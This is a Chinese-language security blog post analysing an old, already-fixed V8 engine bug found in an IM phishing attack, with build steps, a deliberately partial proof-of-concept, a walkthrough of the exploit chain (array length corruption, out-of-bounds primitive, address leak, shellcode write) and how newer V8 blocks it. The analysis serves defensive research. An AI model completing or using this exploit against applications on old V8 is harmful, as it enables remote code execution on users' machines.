Watch & Learn

Debugwar Blog

Step in or Step over, this is a problem ...

V8老版本未公开漏洞分析

2021-04-20 @ UTC+0

前言

 
近期大型互联网活动期间,作为苦逼的蓝队,“意外”截获到了一个通过某IM“0day”钓鱼的攻击事件。正好趁着五一假期闲来无事,在酒店写下近期研究这个0day的心得,不对的地方还请各位大佬斧正。

其实这个并不是IM的“0day”,更准确地说是此IM使用的V8引擎的“0day”。各位看官可能注意到我在0day上加了引号,这是因为此“0day”属于老版本v8引擎的未公开已修复漏洞,所以凡是使用老版本v8引擎的应用均会受到此漏洞的影响。笔者初步看了一下,似乎在用这个老引擎且有影响力的应用还不少……

对于基础的知识点本文就不过多赘述了,具体可以参考文末的参考文献[3],Sakura师傅的这篇教程无人能出其右,建议读完之后再来看本文会事半功倍。

本文仅用于研究目的,不会公布poc的完整代码。

调试环境构建

网上如何编译V8的文章已经烂大街了,为何还要在这里啰嗦这个事情呢?因为上文章提到过了,这个洞是老版本V8才有的,而当时的版本还没有引入ninjia等编译工具(老版本使用make工具编译),因此需要在此说明一下调试环境的构建过程。

对了,还要强调一下这个洞使用debug版本的d8是无法复现的(似乎是因为递归限制的原因),必须使用release版本,而release版本是没有调试符号的,因此job等命令是无法使用的T^T……最后看了一下Makefile发现google的大佬们还是给了条活路……

为了尽量减少环境差异带来的编译问题,此处使用docker构建编译环境。如果你的环境不一样,那么可能会出现各种各个样奇葩的编译问题。比如我的一个同事就提示找不到v8引擎third_party目录下的一些头文件,然后从新git clone了一遍代码这个错误又神奇的消失了…………

好了,废话不多说,下面开始敲命令,首先是启动docker容器:

  1. docker pull centos:8  
  2. docker run --name v8 -w /root -it centos:8 bash  

这样你会得到一个名为v8的容器,接下来进入容器开始真正的构建调试环境:

  1. docker exec -it v8 bash  
  2. yum groupinstall "Development Tools"    
  3. yum install -y git gdb bzip2 curl glibc-devel.i686 libc++-devel.i686  
  4. git clone https://github.com/v8/v8  
  5. cd v8  
  6. git checkout 5.3.332.45  
  7. make -j4 ia32.release disassembler=on objectprint=on verifyheap=on backtrace=on debugsymbols=on  

存在漏洞的v8版本有个tag,也就是上面第6行checkout出的分支。同事还需要注意下第七行的编译命令,一定要用上面的命令编译,不然可能无法复现或调试此漏洞。
 

漏洞POC(部分)

这里仅给出比较重要的poc部分,后续分析均基于这部分:

  1. var g_array;  
  2.   
  3. function cb(flag) {  
  4.     if (flag == true) {  
  5.         return;  
  6.     }  
  7.     g_array = new Array(0);  
  8.     g_array[0] = 0x1dbabe * 2;  
  9.     return 'c01db33f';  
  10. }  
  11. function oobAccess() {  
  12.     var this_ = this;  
  13.     this.buffer = null;  
  14.     this.page_buffer = null;  
  15.     this.buffer_view = null;  
  16.     class LeakArrayBuffer extends ArrayBuffer {  
  17.         constructor() {  
  18.             super(0x1000);  
  19.             this.slot = this;  
  20.         }  
  21.     }  
  22.     this.page_buffer = new LeakArrayBuffer();
  23.     this.page_view = new DataView(this.page_buffer);
  24.     class DerivedBase extends RegExp {  
  25.         constructor() {  
  26.             super(  
  27.                 // at this point, the 4-byte allocation for the JSRegExp `this` object  
  28.                 // has just happened.  
  29.                 {  
  30.                     toString: cb  
  31.                 }, 'g'  
  32.                 // now the runtime JSRegExp constructor is called, corrupting the  
  33.                 // JSArray.  
  34.             );  
  35.   
  36.             // this allocation will now directly follow the FixedArray allocation  
  37.             // made for `this.data`, which is where `array.elements` points to.  
  38.             this_.buffer = new ArrayBuffer(0x80);  
  39.             g_array[8] = this_.page_buffer;  
  40.   
  41.             print("g_array");  
  42.             %DebugPrint(g_array);        
  43.             print("this_.buffer");  
  44.             %DebugPrint(this_.buffer);        
  45.             print("this_.page_buffer");  
  46.             %DebugPrint(this_.page_buffer);        
  47.             %SystemBreak();               
  48.         }  
  49.     }  
  50.     this.buffer_view = new DataView(this.buffer);  
  51.     this.leakPtr = function (obj) {  
  52.         this.page_buffer.slot = obj;  
  53.         return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);  
  54.     }  
  55. }  
  56.   
  57. var oob = oobAccess();  
  58. var func_ptr = oob.leakPtr(target_function);  
  59. print('[*] target_function at 0x' + func_ptr.toString(16));  
  60. var kCodeInsOffset = 0x1b;  
  61. var code_addr = oob.read32(func_ptr + kCodeInsOffset);  
  62. print('[*] code_addr at 0x' + code_addr.toString(16));  
  63. %SystemBreak();               
  64. oob.setBytes(code_addr, shellcode);  
  65. //target_function(0);  
再次强调,上述为主要代码,但是仅仅使用上述代码是无法成功触发漏洞的 ;)

漏洞成因概述

还是开局一张图,这张图是漏洞触发时各个对象的内存布局,理解了这张图基本就理解了这个漏洞。我们先通过这张图来大概了解一下此漏洞的成因,细节可以参考下一节的内容。

从下图中,红色部分的g_array数组的length属性被修改成了一个超大的值(字符c01db33f)导致可以通过g_array访问后续的一块内存。

this_.buffer恰好在g_array之后被分配,因此可以通过将this_.bufferbacking_store属性修改为this_.page_buffer,从而得到一个oob的对象。在得到oob对象之后,利用此对象读写this_.page_buffer.slot对象来泄漏target_function函数的内存,最后将shellcode写到该函数内存后调用target_function获得执行权限。


可以看到,漏洞利用的大概流程是:

  1. 通过构造函数的toString对象覆盖掉全局变量g_arraylength属性构造超大数组
  2. 通过g_array修改buffer变量的真实内存指针backing_store
  3. 通过控制page_bufferslot成员的指针,用buffer构造的读写原语泄漏slot的地址(此处是target_function函数的地址)
  4. 修改泄漏函数的地址,然后执行shellcode代码

上面的总结中,最关键的一步是通过覆盖g_arraylength属性构造超大数组。如果我们无法得到这个超大数组,那么后面修改bufferpage_buffer的操作也就无从谈起。

接下来,让我们看一下新版本是如何“修复”这个漏洞的。

新版修复

下面是新版本v8在分配DerivedBase类实例时的内存:


发现toString的返回数据,被存放在了一个特定的成员source中。

然后看一下this的内存分布:


其实就是 0x5f53224d - 1 + 0x10 的位置,而此时g_array的位置为:


(0x5f532649 - 1) - (0x0x5f53224d - 1) = 0x3fc > 0x10, 两个变量的内存分布差了0x3fc个地址, 因此位于偏移 0x10处的toString函数返回值,无法再覆盖到g_array变量的length属性,那么就更加没有能力通过g_array读写其他变量的地址了。

参考

  1. V8编译是如何编译的: https://medium.com/compilers/v8-javascript-engine-compiling-with-gn-and-ninja-8673e7c5e14a
  2. V8环境搭建: https://warm-winter.github.io/2020/10/11/v8环境搭建
  3. V8 Exploit:https://eternalsakura13.com/2018/05/06/v8/
 
目录
前言
调试环境构建
漏洞POC(部分)
漏洞成因概述
新版修复
参考

版权所有 (c) 2020 - 2025 Debugwar.com

由 Hacksign 设计